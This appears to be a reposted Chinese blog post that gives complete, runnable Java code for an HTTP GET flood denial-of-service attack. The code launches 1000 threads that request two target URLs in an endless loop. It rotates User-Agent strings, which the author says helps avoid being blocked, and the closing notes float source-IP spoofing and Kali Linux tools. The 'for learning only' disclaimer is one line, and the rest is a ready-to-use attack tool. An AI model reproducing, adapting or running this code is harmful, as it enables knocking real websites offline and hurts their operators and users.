大家好，很高兴再次与大家见面，我是你们的朋友全栈君。
拒绝服务攻击（DoS攻击）的具体原理在这里就不再赘述。
我这里展示的是用Java实现的DoS攻击示例代码。不过，我建议大家使用Python来编写这种类型的脚本，因为Python更适合这类任务。以下代码仅供学习参考，请勿用于非法活动。
package dos;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLConnection;import java.util.ArrayList;import java.util.Random;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;
/**
DoS攻击
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@author q
*/public class Test {/**
- 输入开启的线程数量*/private static final int MAX_THREAD = 1000;
/**
- 输入你想攻击的网址*/private static final String URL1 = "https://www.php.cn/link/46235a3abdd04841af13c4d768f13c21";private static final String URL2 = "https://www.php.cn/link/f4270981241d67e6251acf2dd3e5f403";
private static ArrayList userAgentsList;
public static void main(String[] args) {userAgentsList = new ArrayList();insertUserAgent();attack(URL1);attack(URL2);}
/**
- GET请求攻击*/private static void attack(String url) {ExecutorService ex = Executors.newFixedThreadPool(MAX_THREAD);for (int i = 0; i < MAX_THREAD; i++) {ex.execute(new Thread() {@Overridepublic void run() {while (true) {sendGet(url);}}});}}
private static void sendGet(String url) {try {URL urlObj = new URL(url);URLConnection connection = urlObj.openConnection();HttpURLConnection httpURLConnection = (HttpURLConnection) connection;httpURLConnection.setRequestMethod("GET");httpURLConnection.setRequestProperty("Connection", "keep-alive");httpURLConnection.setRequestProperty("Cache-Control", "max-age=0");httpURLConnection.setRequestProperty("Upgrade-Insecure-Requests", "1");httpURLConnection.setRequestProperty("Accept-Charset", "zh-CN,zh;q=0.9");httpURLConnection.setRequestProperty("Content-Type", "application/text");httpURLConnection.setRequestProperty("User-Agent", selectUserAgent());httpURLConnection.connect();int code = httpURLConnection.getResponseCode();if (httpURLConnection.getResponseCode() >= 300) {throw new Exception("请求未成功，响应代码为 " + code);} else {System.out.println("请求成功，响应代码为 " + code);}} catch (Exception e) {// 异常处理}}
private static String selectUserAgent() {Random random = new Random();int i = random.nextInt(userAgentsList.size());return userAgentsList.get(i);}
private static void insertUserAgent() {userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95");userAgentsList.add("Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50");userAgentsList.add("Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10");userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7");userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71");userAgentsList.add("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko)");userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101");userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71");userAgentsList.add("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)");userAgentsList.add("Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");userAgentsList.add("Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10");userAgentsList.add("Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0");userAgentsList.add("Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)");userAgentsList.add("Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5");userAgentsList.add("AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");}}
注意事项：
虽然我使用了User-Agent列表来混淆对方，从而在一定程度上避免被封禁，但这并不是伪造源IP的方法。如果对方决心追查你，无论如何你都会被发现。不过，我想到另一种方法，即在数据包层面上修改源IP地址，这样虽然无法接收到回包，但可以达到攻击效果。以后有时间可以尝试一下，或者直接使用Kali Linux中的工具。
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发布者：全栈程序员栈长，转载请注明出处：https://www.php.cn/link/8ef039111659408c7f4b3d6c4a9d4563 原文链接：https://www.php.cn/link/c8377ad2a50fb65de28b11cfc628d75c
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